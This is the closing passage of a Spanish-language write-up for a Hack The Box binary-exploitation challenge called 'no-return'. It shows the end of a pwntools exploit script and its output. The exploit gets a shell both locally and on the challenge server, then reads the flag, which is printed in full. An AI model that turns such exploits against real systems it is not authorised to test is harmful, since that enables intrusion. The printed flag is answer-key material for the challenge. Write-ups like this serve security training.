p.send(payload)
p.recv()
p.interactive()
Lo podemos ejecutar con ASLR habilitado:
# echo 2 | tee /proc/sys/kernel/randomize_va_space
2
$ python3 solve.py
[*] './no-return'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './no-return': pid 891062
[*] Stack address leak: 0x7ffd133ea7e0
[*] Switching to interactive mode
$ ls
no-return solve.py
Flag
Genial, ahora vamos a ejecutarlo en el servidor:
$ python3 solve.py 157.245.46.136:31468
[*] './no-return'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 157.245.46.136 on port 31468: Done
[*] Stack address leak: 0x7ffeff950900
[*] Switching to interactive mode
$ ls
11a866b981670122c056ee96ebb0796910a7495dc3ee2368fd127626af9e1b16-flag.txt
no-return
run_challenge.sh
$ cat 11a866b981670122c056ee96ebb0796910a7495dc3ee2368fd127626af9e1b16-flag.txt
HTB{y0uv3_35c4p3d_7h3_v01d_0f_n0_r37urn}
El exploit completo se puede encontrar aquí: solve.py
.